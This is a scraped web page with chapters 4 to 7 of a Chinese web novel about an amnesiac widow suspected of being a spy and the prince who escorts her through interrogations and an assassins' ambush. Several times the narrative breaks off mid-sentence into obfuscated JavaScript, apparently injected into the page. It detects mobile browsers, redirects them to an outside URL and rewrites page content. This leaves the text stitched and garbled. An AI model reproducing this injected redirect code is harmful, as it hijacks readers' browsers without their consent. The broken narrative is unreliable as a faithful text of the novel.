一句话惊得二人连忙扑通跪下,王豹脸登时红得像个猴屁股,结结巴巴地说不出话。 他临近年关频频上山就是因为他娘之前偷偷找人合过他同林娘子的八字,据神算子说是天造地设旺他们老王家子嗣的佳偶。 当时,他娘高兴地跟他说过了年关就找个媒婆提亲,他心里自然是乐开了花,好几日都兴奋到难以入眠。于是便想着进山打个獐子,当作彩礼的添头,但是跑了好几趟他都无功而返。 王大娘更是抖如筛糠,以头抢地哭喊着:“大人饶命,我老婆子不过是想着林娘子年纪轻轻就守寡,婆母也不在,孤零零一个人。我儿也是婚配的年纪,又是一墙之隔的邻居,所以才生了撮合的想法,偷偷找神算子合了八字。至于其他的,我们是一概不知情啊……” 沈晏似乎耐心告罄,垂着的眼闭了起来,眉头微皱,连带着周身的气压都低了两个度。 唐田哐当一声抽出佩剑,屈指在剑身上面弹了弹,嗡鸣声吓得跪着的两个人身体抖动得更凶了。 “只要老老实实说实话,保你们二人小命无忧,否则……” 这下,王大娘母子再也不敢耍小心眼了,匍匐在地上连连磕头。 等见人吓得差不多了,唐枳才开口道:“起来回话吧,我们世子不喜欢你们跪着。” 两个人这才互相搀扶着起身,头恨不得低到地里去。 唐枳让二人将林娘子的来历从头到尾说了一遍,倒是与他们之前查如出一辙。唯一出入的地方可能就是林娘子身怀武艺,但是这对母子毫无察觉,甚至觉得林娘子是个身子瘦弱,风一吹就倒的病美人。 用王大娘的话来说,若不是神算子说她旺他们王家的子嗣,她是断不会起了让她进门当儿媳妇这心思的。 姜暖躺在房间里,将门外的审问听了个一清二楚。 昨日她被沈晏掐完脖子后,沈晏扬长而去,她不多时又陷入了昏迷,醒来后除了感觉身体好了点,记忆似乎还是没有恢复。 午时刚用了药,就听见外面上演了一出三堂会审。 但是她脑子里并没有关于林娘子的任何信息,今日醒来时,她便问了刘大夫要了小铜镜,镜中的容颜很陌生,结合刚刚院子的问话,她稍微能转动起来的脑子大概明白了眼下的情况。 她好像是死了,然后又活过来了,不过是在别的身体里活过来的。而且,这里的世界好像与她脑海里闪烁的画面还不太一样。 匪夷所思至极,但除了接受好像也没其他的办法。 她不由地想,如果她也能在别人的身体里复活,那么她的师父是否也活着? 思绪飘忽间,耳边响起胡谯的声音。 “你恢复得还挺快,我睡前再替你施一次针。” “辛苦。”姜暖神色如常。 刘大夫今早赶回去开铺子了,这屋里屋外算上她,好像拢共就五个人。但是她依稀记得她刚醒的那天,屋外好像还有别的人,叮铃哐啷了一会儿就没动静了。 真奇怪。 胡谯收好了针,又道:“你可以尝试动一动手指。” 姜暖闻言,不止动了动手指,还抬了下手肘,对身体的掌控感又重新回来了。 “我能动了!”姜暖眼睛都亮了,有点激动第吹捧道,“老先生真乃神医啊!” 胡谯沉默了一会儿,表情有点不可思议。 “你恢复得真快。” 他甚至有点想剥开衣服细细检查一番,但是可能会过于冒犯,还是算了。 “还是想不起来吗?”胡谯又问。 这个问题比她断掉的肋骨还要棘手,屋外原本坐着的沈晏已经起身了,看样子是朝这里来。“你对刚刚那两母子没有一点印象么?” 适才,屋外的问话他也听到了,他还留意了一下这位林娘子的反应,完全是茫然陌生的神情。 “不记得了。” “那你还记得多少?” “我没有通敌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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胡大夫之前不是说要静养,不然骨头容易长歪,还可能随时死掉么? 脑壳被鬼摸了?要你在这儿善解人意。 唐枳一把唐田的手拍下来,接嘴道:“方便,怎么不方便,反正死不了就行。” “哦对。”唐田挠挠头,又问:“那胡大夫要带着么?” “先带着吧。” 吩咐完,两兄弟一道出去,不一会儿外面又是一阵叮里哐啷。 姜暖瞧着对方好似没有想离开的意思,抱着胳膊站在门前监工,高大的身躯将门堵了个严严实实。 她本来还想支起脑袋瞅瞅外面在叮里哐啷干嘛,见状只能作罢。 桌子上除了药箱和一堆方子,还有刚刚唐枳端进来放着香炉。 香炉精美,与这屋子实在是不相匹配,烟雾袅袅中,那股熟悉的甜香散了一室。 姜暖看着沈晏,此人衣着讲究,宽肩上还拢了一圈白狐狸毛围脖,浑身上下就写了两个字——华贵。 有钱,有颜,讲究,脾气差。 在她的印象中,贵公子都不是什么好玩意儿。 也罢,既来之则安之。 大不了,到时候脚底抹油,天高海阔,就不信没她的容身之处。 “我劝你别想着逃跑。”幽幽地,监工沈晏突然开了口,“否则我会有一百种方法让你求生不得求死不能。” 姜暖:“……” 坏了,对手好像有读心术。 5. 第 5 章 当日他们便离开芸苔镇,一路北上。 因为行进速度缓慢,所以花了十五日才到达漓州洛安城的城郊。 这一路上,姜暖从胡大夫的口中大致知道了事情的来龙去脉。 五年前,这位安王世子沈晏带了一小队骑兵追敌至青罗城外的鬼哭林,但遭遇了敌人的埋伏,被逼迫至鬼哭林的一处峡谷深处。 温岫将军第一时间率兵赶去救援,本以为里应外合能顺利脱困,谁知道这只是对方设下的一个陷阱。 南疆人以沈晏等人为饵,只等温岫的援军到来后,隐藏在最外围的军队直接将所有人围困在峡谷中,后直接将两边的山头炸平了。 滚落的山土碎石噼里啪啦地往下落,近三万人马,除了沈晏,无一生还。 而青衣,作为潜伏南疆的暗探,涉嫌捏造敌情,误导沈晏轻敌,以至于最终造成平南军近三万人的伤亡,大昭还因此损失了第一女将军温岫。 可青衣于四年前就已经被大理寺宣布死亡了。 而她,之所以被沈晏怀疑,是因为当年青衣的尸体辨认得有些仓促,那些罪证就像是被提前准备好的一样。大理寺匆忙赶在了皇帝下令的最后期限内结案,且结案第二天尸体就在乱葬岗被野狗啃食得干干净净。 此后还被勒令翻篇,不可再提。 这其中,定有隐情。 虽然姜暖目前是青衣的可能性很大,但纹身和眉尾的小痣是可以伪造的。最重要的还是要找到熟悉青衣的人。 因为天衣阁里没有留存青衣的画像。 大昭暗探行事隐秘,除了画像便只能依照身上特殊的刺青才能辨认,每一名暗探的刺青形状,大小,位置皆有出入,只有负责纹刻的师傅才清楚。 而恰好,这两位负责给青衣纹刻的师傅在这事儿过去没多久就死了。 “死无对证啊……” 那很倒霉了。 还不等姜暖松口气,沈晏幽幽地来了一句:“谁说死无对证的?” 嗯? 姜暖抬头看向胡谯,胡谯不好意思地咳嗽了两声。 “凡是,总有意外嘛……” 呵,不早说。 这个意外,就是曾经在青罗城任职的周正。 之前负责抓捕青衣和最后打捞到青衣尸体的就是他,因为这件事破案有功,被调去青州做了个通判。 也是巧了,当年写验状的仵作几天前被沈晏的手下找到了。 根据仵作所说,当时打捞上来的尸体面目全非,根本无法辨清面容。身上的伤痕都基本对得上,但是后腰处的皮肉却被平整地剜下来了,根本无从得知那个部位是否有刺青。 如此一来,通过后腰刺青来辨认的方式就行不通了。 最后,是一个小衙差在整理尸体遗物的时候,看到了从那女尸身上搜到的一条蓝色的手帕,上头绣着一朵六瓣的海棠。 说是之前追捕青衣的时候,从她身上掉下来的。 她之前为了捡回这条手帕,还差点被射中一箭,最后慌不择路跑到了青罗江,在情急之下选择跃江遁走。 如此一来,才确认了青衣的身份。 小衙差得到了一笔丰厚的奖赏,买了酒请他喝,还乐颠颠地同他说,他之所以记得那么清楚,是因为以前刚来的时候,捡到过周县丞的香囊。 那香囊上就绣着一模一样的六瓣海棠,可惜后来周县丞就不戴了。 仵作当时也喝得晕晕乎乎的,只当这小子编瞎话。后来不久,小衙差办事不力被打了板子,没几天就去世了。 仵作听说了这事儿,当时一身冷汗,明明是三伏天的季节却感觉如坠冰窖。提心吊胆了一段时间,在补屋顶的时候莫名摔了下来,瘸了一条腿。 后来他连夜收拾东西,开始了东躲西藏的日子。 期间还改了名字,利用乞丐的身份四处流浪。最后在幽州饮马县找了个喂马的活儿,勉强安稳下来。 没想到会被沈晏找到。 沈晏又根据这条线索,挖到了周正和青衣曾有过一段情。 所以,他们现在就是在去青州的路上。 见到周正,就可以验明正身了。 姜暖心里顿时五味杂陈,有一种慢刀子割肉的感觉。 这一路上马车还非常不平稳,路面稍微不平就把她颠得七荤八素的,身上没有哪处是不疼的。 但好在吉人天相,她的每个骨头都没长歪,并且恢复得很快。 每次她快要被颠死的时候,沈晏便哒哒哒地骑着马过来,居高临下地看她一眼。 冷冰冰地说一句“你挺难杀啊。”又扬长而去,留给她一个嚣张的马屁股。 “……” 我真要嘎巴一下死了,你又不高兴了。 姜暖在心里默默地翻了个白眼。 目前,经过十几日的休养生息,她已经能下地活动了,想来用不了多久便能恢复自如。 一路随行的胡大夫,每日总要感叹一番,这恢复速度比大多数从军的男娃还快,不太像一个孱弱的寡妇呐。 每当这时候,沈晏总会投来别有深意的一瞥,而姜暖心头也会莫名一跳。 眼下只等绕过这座山就到了洛安城,谁知这时候却出了点小状况。 在前方领路的手下突然掉头,勒马停在沈晏跟前,发梢上全是氤氲的水汽。 “世子,前面官道堵塞,马车过不去。” 姜暖将头探出马车,只见迷蒙的雾气前方是黑黢黢的一坨伫立在官道上,兴许是山体滑坡。远远听着,好像有人在用铁锹挖掘,不时传来石头与铁器的碰撞声,还有交谈声。 不一会儿,有人步履匆匆而来,腰间挂着一把刀,头戴官帽,衣服上是大大小小的泥点。 “近日多雨,前方有碎石泥土正在清理,若是赶时间可下马步行,若是不赶时间,还请稍等。” 来的是洛安城内的衙差。 这衙差看着年纪不大,微含着胸,肩膀内扣,说话的时候手不自在地放在肚子前方搓着,一看就是个青茬子。 “天黑前能清理出来吗?”唐田问。 那衙差红着脸挠了挠头,道:“我也不知道,今日恰好衙内的师哥们都出去办差了,就我和师父俩人在……” 他还未解释完,就听见远方传来一道气势磅礴的声音:“棒槌好了没!赶紧回来帮忙!” “哎来了……”应完,衙差小哥撒丫子就往回跑了。 “棒槌!问你话呢!这么大个人了怎么不知道应声儿呢!” “哎来了、来了。”没一会儿,人就消失在远处的雾霭里。 “……” 他们这一行共计十来个人,四匹马,一辆马车,三辆货车。人倒是可以先进城,这三马车的箱子得安排人守着。 但沈晏似乎并不这样打算,他吩咐了几个人去帮忙清理官道,剩下唐田和唐枳在道路一侧较为平整的地方清理杂草灌木,便于搭建临时帐篷。 姜暖从马车上下来,扶着马车绕圈散步,开始简单的复建。 胡谯探出头来叮嘱了一句莫要勉强,便下车找唐枳要纸笔。 说是进了洛安,他就要取道回青阳县了,出门大半个月,家里只有一只小狸奴,他放心不下,得早点赶回去,干脆趁这个机会将后面疗养的方子准备好。 竟还是个铲屎官。 姜暖撑着马车慢腾腾地挪着步子,大概绕着马车走了十来圈,才停下来。一路上快被颠散架的骨头,这会儿终于有了归位的感觉。 此时的天已经完全黑下来,帐篷内亮起了一盏灯,唐枳抱着手靠在一棵树前,眼睛盯着姜暖所在的方向,耳边是唐田叽里呱啦的声音,手里提着一只要死不活的鼹鼠往他脸上凑。 帐篷里,沈晏正在油灯前阖眼假寐,熏香的青烟袅袅地拂过他的脸庞,朦朦胧胧地看不真切。胡谯伏在小几上书写,不时停下笔来挠眉心。 虽然已近年关,气温寒冷,但仍能听到四周有乌啼虫鸣。 浓雾渐起,一滴雨水跨越万米高空,穿过层层叠叠的树枝和五彩的树叶落到姜暖的眉间。 如此天时地利人和,是多么适合逃跑啊。姜暖心想。 但,心有余而力不足。 她遗憾地将目光从黝黑的树林里收回来,正准备进马车里歇会儿,却听到胡谯招呼她过去。 姜暖回首,正好和睁眼的沈晏对上了视线。 这几日她穿得仍旧是守孝的素衣,因为不会绾发,乌黑的长发便随意散在肩头,长时间没打理而显得乱糟糟的。 发髻上因为孝期所佩戴的白色绢花早就不知所终,这打扮再配合上她病怏怏的面容,活像个山野中的女鬼。 此时女鬼因为不良于行,正走姿诡异地朝着某个方向挪动。 唐枳和唐田在旁边行注目礼。 沈晏则不忍直视地重新闭上了眼。 …… 黑夜会放大内心的恐惧,当视野被剥夺后,对声音便格外敏感。但淅淅沥沥的雨声刚好掩盖了细微的异响。 布料悄然拂过草丛,擦过树枝,厚实的鞋底陷入淤泥,留下大大小小的泥坑。呼吸声被极力压低,雨水在剑刃上跳跃。弓箭手搭弦,挽弓如满月,寒芒悄悄破开黏稠的黑夜,如无常的勾魂锁攀附上姜暖的脖子。 或许是对危险的本能感知,姜暖倏然停下,在距离帐篷几步远的距离伫立。唐枳和唐田则同时亮出武器,警惕地看向四周。 破空声接踵而来,姜暖下意识一个后下腰,奈何她忘记自己现在还是个大病后都没痊愈的伤患,腰部的不适让她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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训练有素的刺客举着长剑进攻,黑色的长靴踏在湿软的泥土上,踩出一串串不浅的小坑,鞋底刚撤离,便有雨水逐渐蓄满,原本落地无声的细雨,此时发出了咚咚咚的响声。 潜入黑夜杀敌的唐田此时也回来了,拎着长剑借助树枝在林间左右腾挪,像个灵活的猴子。 唐田:“我探了一下,至少有七八个蹲在树上放箭,有两个运气不好被我处理了。” 晚上找起来有些费力,雨势也越来越大,声音都被盖得差不多了,而且对方非常熟悉地形地貌,想必这次行动是准备已久的。 有点棘手。 唐枳抬手挽了个剑花,道:“那就先把地上这些蚂蚱解决了。” 唐田抬脚踹飞一个人,就地一滚,躲过一次攻击,箭矢破空而来没入他刚刚站立的土地。 他被气得大叫了一句,“放冷箭的狗玩意儿!有本事跟爷爷当面锣对面鼓!” 细雨如织,绵密地看不清四周的刀光剑影,四个人全凭多年养成的肌肉记忆保命。围剿的人数不见减少反而增加了,想来这次是下了血本准备一击必杀。 姜暖背靠着装货的板车,手中的匕首反手握着横亘在眼前。沈晏的身影始终在她五步远的地方杀敌,剑刃上的鲜血不断地流下,没入泥水中。 这群黑衣人动作干净利落,一声不吭,只有倒地的时肉/体砸在泥水里的声响,一个倒下另一个迅速补上,像倾巢而出的蚂蚁似的,源源不断。 姜暖看了一眼倒塌的帐篷,没瞧见胡谯,希望是找地方躲起来了。 这群黑衣人只乌泱泱地往她这儿涌,目标出奇地一致,那就是她。似曾相识的场景,一阵头晕目眩,似乎有什么记忆正在往她脑子里钻。 恰在此刻,有个黑衣人绕到后面悄然摸上板车,猛然举刀落下。姜暖霎时间感觉如芒在背,身体下意识做出反应,往前猛地一扑,以双手撑地。 沈晏一个闪身过来,长腿一踢,车轮离地绕着马屁股甩了半圈,马匹受惊扬起前蹄,拴在树干上的缰绳被砍断。 受惊的马带着板车逃离人群,板车上的人被摔倒在地上,姜暖迅速爬起来将匕首干脆利落地插进了他的咽喉,温热的血喷薄而出覆盖了她脸上的泥水。 她好像并不是第一次杀人。 愣神间,余光瞥见一抹寒光。 “小心!” 姜暖将手中的匕首扔出去,试图偷袭的黑衣人大腿吃痛一个踉跄跪倒在地,沈晏旋身挥剑,一剑封喉。 眼看着绞杀圈越来越小,周围的尸体层层叠叠。 之前派去清理官道的人已经赶回来支援,姜暖艰难爬起来,准备摸过去捡回自己的兵器,但身体的疼痛让她一时间寸步难行,脑子变得不是很清醒,视野也开始变得模糊起来。 手脚在冰冷的雨水中逐渐变得麻木僵硬,一支箭矢趁此机会穿过人群直奔她的面门,她本想蹲下躲开,但觉得双腿好似没有知觉不受控制。 就在她僵住的时候,沈晏干脆地抬腿,一脚踹上了她的左侧臀部。 姜暖身体往右飞去,锋利的箭头与她擦肩而过。 姜暖:“……” 明天她就把这身该死的白衣服换了! 6. 第 6 章 姜暖被踹飞在地后摔了个狗啃泥,头发上沾满了泥浆,白色的衣服上也尽是泥点,说她是刚从泥潭里爬出来的水鬼也毫不为过。 不知道是不是沈晏的力道过大还是她的身体已经超负荷,总之她现在已经爬不起来了。索性翻个面仰躺在地上,摆烂。 可能是阎王终于睡醒了,起来查账发现少收了一个人,便立即派了无常索命。 任由雨滴滴滴答答砸在她的脸上,姜暖不由得闭眼等死。唯一遗憾的是,她刚刚恢复了一点之前的记忆,她有一个师父,名字叫姜竹。 不知道,她的师父是不是也同她一样,被炸死后重生到了这里。 “你想死?” 正当她试图跑走马灯的时候,耳边突然传来一个令她讨厌的声音。 姜暖掀开眼皮,沈晏正低头睨着她。 他的一张臭脸上挂着两滴溅射上去的血迹,被雨水稀释后沿着界限分明的下颌线滚落到衣服上,胸口和臂膀处都挂了彩。 明明应该是狼狈的雨中激战,这破损的衣服和因为雨水打湿而黏在脸庞上的头发却没有将他的贵公子形象打折扣,反而凸显出他不可亵玩的气质来。 姜暖掀开眼皮看了一眼又合上,甚至双手交握置于腹上,平淡地从鼻腔中发出一个气音来。 “嗯。” 干不过就等死,这是她一贯的想法。 但是眼下,这个想法显然不被沈晏允许。 “你的命是我救回来的,我让你死你才能死。时间,地点,方式都由我来决定。” 换言之,你命由我不由天。 姜暖听着都笑了,心想若你现下能跟阎王抢人那也算我赚了,反正眼下她是动弹不了一点了,爱咋滴咋滴吧,先睡了。 于是,本来准备将人暴力拖起来的沈晏,在听见姜暖不明所以地哼了一声后,接着脑壳一歪,便彻底失去了意识。 “……” 沈晏磨了磨后槽牙,气笑了。 片刻后,雨势渐止。 唐田和唐枳两个都受了不轻的伤,到雨完全停下来后,他俩便同时奔向不远处的黑暗中。 唐枳收了长鞭,换成了一包弹珠,用来判断弓箭手的位置,唐田则将手中的长剑换成了袖箭。在两人高度默契的配合下,隐匿在树上的弓箭手陆续坠地。 弓箭手的减少,为其他人减轻了不少生存压力。 不过一场酣战下来,算上侍卫也只剩了不到十个人,他们围在姜暖周围架起了一个小型的保护圈。 千钧一发之际,黑夜里似有无数个火把同时亮起,且正朝着众人迅速靠拢。 剩下的黑衣人们霎时间面面相觑,不敢再前进一步,反而是犹犹豫豫地想往后退。 背后是逐渐逼近的火把,左右两侧是拦路的唐枳和唐田。 他们退无可退。 火把群逼近,是十几个穿官服的洛安衙差,棒槌赫然在列。 “尔等贼……贼子,休……休得放肆!” 打后头的是胖乎乎的县令和山羊胡县丞,县令步履匆匆,一边跑一边喘着气说话。县丞紧随其后,眼神追随着县令,那手在背后举着,准备好随时搀扶摇摇欲坠的县令。 说来也怪,那些持刀的黑衣人,见了官府来人,竟毫不犹豫地原地咬破了口中的毒丸,速度快到唐田和唐枳他们都没反应过来。 县令和县丞原本一路胆战心惊地赶过来,见此情形虽陡然被吓了一大跳,但是心头却是同时松了口气的。 因为赶来之前他们想着此行必定是刀光剑影凶多吉少的,心中自然也是惶恐不安,生怕在今夜就交代了身家性命。 可眼下这般,倒是解了他们的性命之忧。 县令抬手擦了擦额头上的虚汗,挺了挺腰杆,大手一挥,吩咐手下去清点贼子的尸体,看看有没有漏网之鱼。说完又略躬下了身体,小碎步踱到沈晏跟前,拱手弯腰道:“世子,属下来迟让您受惊了。” 县丞本来跟在县令屁股后面一脸赔笑。 待走近看到了沈晏脸上稀薄的血迹后,突然痛心大叫:“世子,您受伤了!” 说完迅速扭头吩咐人,“还不速速扶世子回县衙,找城中最好的大夫来!” 县令在一旁接话道:“对对对,世子随我等先行回县衙看伤,王县丞会留在此处善后,保证处理得漂漂亮亮的。” 说完,县令侧过他胖乎乎的身体,拱手让沈晏先走,但弯着腰等了半天也不见沈晏要走的样子,这个姿势时间长了他可受不住,可也不敢直起来,只好提溜着眼珠子询问县丞。 县丞也不知道这个情况怎么处理,闭了闭眼示意县令少安毋躁。 沈晏取了一方干净的手帕将手中的长剑仔仔细细擦干净收回腰间,才道:“这些尸体就地挖个坑埋了吧。” 话是对着唐枳说的,说完才扭头看向动作谄媚的县令和县丞。 “此来漓州,是为私事,叨扰几日就走,刘县令不必兴师动众。” 刘县令汗珠子滚到鬓边打湿了鬓发,心头惴惴不安,因为他听不明白。这意思到底是去县衙还是不去县衙,这大夫还请不请了。 倒是王县丞,听完立马一拱手,连忙将自己的人手撤出来清理官道,甚至还贴心地安排了人将昏死的姜暖扶上马车安顿好。 安排完这一切就拉着县令在一旁低眉搭眼地候着。 刘县令偷摸用胳膊肘撞了一下王县丞,小声问道:“真不用管?” 且不说今日这场刺杀,世子性命若是不小心丢在了他的辖区,别说仕途了,就是他全家老小的命加一起都不够陪葬的! 王县丞不动声色地往后仰了仰,靠近刘县令耳边打着腹语道:“世子刚刚那意思就是让我们装作不知道,不管不顾不问。我们要是真好吃好喝伺候,那才是上赶着找死呢。” 就是不知道这些黑衣刺客是哪里来的,什么人竟然有胆子觊觎安王世子的项上人头?怕不是昭宁城内的权力斗争!他俩要是卷进去,就是殃及的池鱼里的池鱼,此时装傻才是上上策。也幸好这位安王世子是个冷性子,不想让他俩鞍前马后地伺候着,他们又何乐而不为呢。 两人挤到一处又嘀嘀咕咕一番,这才作罢。 至于马车里那一身孝衣的小娘子,他们不能问也不敢问,纵然好奇心挠得肚子里的肠子都痒了,他们也只能把那截肠子从肚子里扯出来扔地上踩得稀巴烂。 等官道疏通后,县令和县丞便领着人手打道回府,只留了棒槌和牛二帮忙拉车。 唐枳和唐田等人将尸体埋好后,胡谯不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576779|187143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道从哪个地方冒出来,走路一瘸一拐的,手不停地搓着自己的屁股。 想来是躲树上,下来的时候脚滑了,摔了一个屁股蹲儿。 一行人拖拖拉拉直到亥时才进了城,棒槌和牛二将人送到驿站,本想帮忙安置伤员休息,唐田笑嘻嘻过来回绝了,塞了两粒碎银子让他们早日回家歇息。 棒槌捧着那一粒碎银,神思恍惚地跟着师父往回走。 “师父,那个人真的是安王世子吗?” 棒槌感觉今天的这一番遭遇跟做梦似的,本以为对方是个贵人,没承想竟是昭宁城的安王世子!他有生之年也算是见着一回皇亲国戚了。 牛二听完心头一跳,一巴掌过去将棒槌的嘴巴捂住。 左右看了一圈后,低声骂道:“说你是棒槌还真是个棒槌!今天的事你回去就给老子忘了,在梦里说梦话都不能提及,否则今日你就当从来没有我这个师父。” 棒槌瞪大了眼睛,虽然不知道师父为什么这么神色紧张地呵斥他,但他一向听师父的话,忙不迭点点头,表示知道了。 牛二这才松开他,语重心长道:“在官府做事,最忌讳就是话多。少听少说多做事,才能活得长久,我在领你进来第一天就说过了,以后切记每天早起在心头默念三次。” 棒槌若有所思点点头,师徒二人借着昏暗的灯笼光走远了。 唐田掐着点儿过来敲门,沈晏正好洗漱完毕,正立在床头系腰带。 唐田刚推门而入,沈晏便问:“死了么?” 今日交手的时候,唐田碰巧留下了一个活口,便混在伤员里给带回了驿站。 “活着呢,身上没有致命伤,只是头部受到了重击,晕死了过去。” 说起这个,唐田就想乐。 也是这人倒霉,和他交手的时候,打着打着正好退到了胡大夫藏身的树下,而胡大夫的药箱就那么好巧不巧在那个时候落下去,一下就砸到了这人的后脑勺。 也不知道胡大夫那箱子里装的啥,反正人是直接就晕了。 后来他去摸那人舌下的毒丸时,竟然发现这人没舌头! 唐田摸了摸下巴,分析道:“应该是被连根拔掉的。” 实在是太残忍了。 沈晏听完不由地敛眉沉思,给死士拔舌倒像是前朝皇室的手笔,不过后来太祖皇帝登基后,便废除了这种残忍的手法。 “你带人去查看一下那些尸体。” “是。” 唐田抬脚离开,回身关门的时候,又听见沈晏问:“她怎么样了?” “好着呢,身上没见着刀伤。”之所以会晕过去,估计是跟那一脚有关系吧。 最后这一句猜想唐田没敢说。 片刻后,沈晏推开了隔壁的房门。 胡谯正支着头歪在桌子上打盹儿,房门一响,他立刻惊醒了。 沈晏大步踏进来,也不坐。 “你有结论了么?” 胡谯站着说:“看起来,确实是不记得。” 沈晏点点头,又问:“哑奴如今怎么样了?” 胡谯难得叹了口气,摸了一把胡须道:“老样子。” “劳您费心。” 说完便走了,离开时带起了一阵小风,扰得烛火摇曳。 7. 第 7 章 今日是除夕。 一大早,县衙那边就派人过来请安,一个接一个,陆陆续续地跟后厨上菜似的侯在角门下,锲而不舍地叩着房门。唐田开门都要开出白眼了,一会儿问要不要帮忙准备吃的,一会儿问住得习惯不习惯。每次就来一个人,就问一个问题,唐田已经说了一早上不需要了。 笃笃笃—— 又来人了。 怎么就听不懂人话呢! 唐田撸起袖子准备开门。 突觉身旁一阵气流涌动,一只细弱的胳膊横过来,将门打开。 姜暖横眉冷对,“滚!” 说着还顺手拔出了唐田的佩剑。 门口的人还未开口,就被吓得一屁股就坐到了地上。 姜暖:“再来人,直接砍死。” 啪—— 暴力将门关上,门板撞在门框上还反弹了两下。 唐田目瞪口呆,跟活见鬼似的。这看着瘦了吧唧的,力气还挺大。 姜暖甩了甩被门板镇痛的手腕,一大早被五次三番吵醒的起床气稍微降下去了一点。左右环顾,又是陌生的环境。 今日一大早,胡谯便离开了,沈晏派了两个人护送。而他们则继续待在驿站,休整几日,等过了除夕,再启程赶路。 但这些,姜暖并不知晓。 “你们世子呢?”她刚刚从卧房下来,一路上没看见其他人,驿站内冷清得可怕。也不知是出门了还是还在睡觉。 因驿站内除了她找不出第二个女子,沈晏也没吩咐给她找个会梳头的娘子过来,她的头发到现在还是乱糟糟的一坨,上面的泥水将发丝裹成了一片一片的,白色的衣服也快看不出本色了。 她现在就像一颗被遗忘在坛子里的腌菜,经过几日的自我发酵,开始发烂发臭了。 “我要洗澡。” 唐田合上嘴,表情古怪道:“我们世子是不会给你洗澡的。” 姜暖看着他,问:“你脑子是不是受过伤?” 唐田答:“没有啊。” 不明白姜暖为什么这么问,看起来很关心的样子,莫名其妙。 姜暖决定不理他,出去找人烧水。 唐田:“……” 之前身上有伤,不宜碰水,怕感染。现在她觉得比起感染她更不能接受自己变成粪坑里的蛆。于是选择性忽略了胡谯让她尽量不碰水的医嘱,痛痛快快地洗了一个温水澡。 好消息,伤口没有大碍。 坏消息,没有换洗的衣服。 甚至还有一个让她头疼的事,她好像不太会穿这里的衣服。 姜暖:“……” 她将浴房内的隔帘拽下来往身上一裹,踩着鞋走出浴房。披散的湿发在她经过的路上留下星星点点的水渍,屋外寒冷的温度让她不由得打了个冷战。 驿站这几日都比较冷清,近几日除了他们一行人入住外,再无旁人了。 所以这一路上,姜暖也不怕撞见人,就算撞见了,她该遮的地方也遮住了,并没有什么值得大惊小怪的。 她是这么想的。 但是,有人不这么想。 唐田远远地看着姜暖裹着一块眼熟的破布,胸口露出白花花的一片,一双腿就盖住了膝盖以上,大摇大摆地朝他们所在的客房走去。 表情之坚定,行为之胆大! 光天化日,朗朗乾坤,披头散发,香肩半露,成何体统! 难不成,装失忆这招不见效,想来美人计? 眼看着对方走到世子的房门前,面带羞怯想要破门而入,唐田一个助跑踩着栏杆飞跃天井,在这个女人的魔爪叩在房门上之前,完美地落到她跟前。 “大胆妖女,你要做什么!” 姜暖正欲叩门,就察觉到背后有个东西正朝她飞来,她下意识往左撤了下身子,唐田像一只青蛙似的蹦到她面前。 惊吓没有,倒是松了口气。 她本来就是来找唐田的,但是不知道唐田的房间在哪儿,想着应该是住自己隔壁,但是又怕敲错了门。别人还好,要是敲到了沈晏的门,那真是倒霉到家了。 自动忽略掉妖女的称呼,姜暖一把把住唐田的胳膊,道:“你来得正好,你房间在哪儿?” 唐田闻言,眼睛突然瞪大,挣开了姜暖的魔爪,双手抱胸,颇为惊惶失措道:“你想对我做什么?” 难不成,见诱惑世子的计划失败,便将计就计来诱惑他了? 不行,他可是有原则的手下,绝对不会屈服这种劣等下作的计谋! “我我我告诉你,我可是经过训练的,美人计对我没用!” 姜暖挑了挑眉,眉尾黑色的小痣随着她的动作俏皮地跳了一下,晃得唐田的心也跟着原地蹦了一下。 “美人计?”姜暖后退一步,将唐田从头看到脚,又从脚看到头,眼里的戏谑不言而喻。 自信虽然是好事,但是过于自信,只会让人呕吐好吗? “我就找你借一套衣服,别的心思一点没有。” “啊?” 唐田一脸懵逼,脸色由浅红转为深红,然后变成爆红,最后红着脸拒绝了这种暧昧的要求。 “不行,你要是穿我的衣服,被别人看到了,会引人非议,对你的名声不好。” 姜暖顺势说道:“那你给我买一套新的。” 她现在被限制自由,不能自己出门购买,而且身上也没有钱,新买一套给她自然是好的,她也不太喜欢穿别人的衣服。 “除了不要白色的,其他的都行,我不挑。” “好嘞,我这就去。”一口答应下来的唐田,突然觉得哪里有点不对劲。 欸? 姜暖正欲转身回房,又被唐田牵住了隔帘的一角。原本她裹得就很随意,没想到唐田会在转身的时候拉她,原本是半露香肩,这会儿直接变全露了。 细长的脖颈和白花花的肩膀整个儿暴露在了空气中,露出了半截肚兜来。 好死不死,这时候房门从里面被打开,沈晏那高大挺拔的身躯就那么出现在两人之间。 姜暖里头穿的是一件藕色的肚兜,上面绣着并蒂莲。由于她受伤清瘦不少,所以原本是合身的肚兜此时有些松松垮垮地挂在身上,锁骨比以往更加突出,锁骨上方的凹陷处还积了一些未擦干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 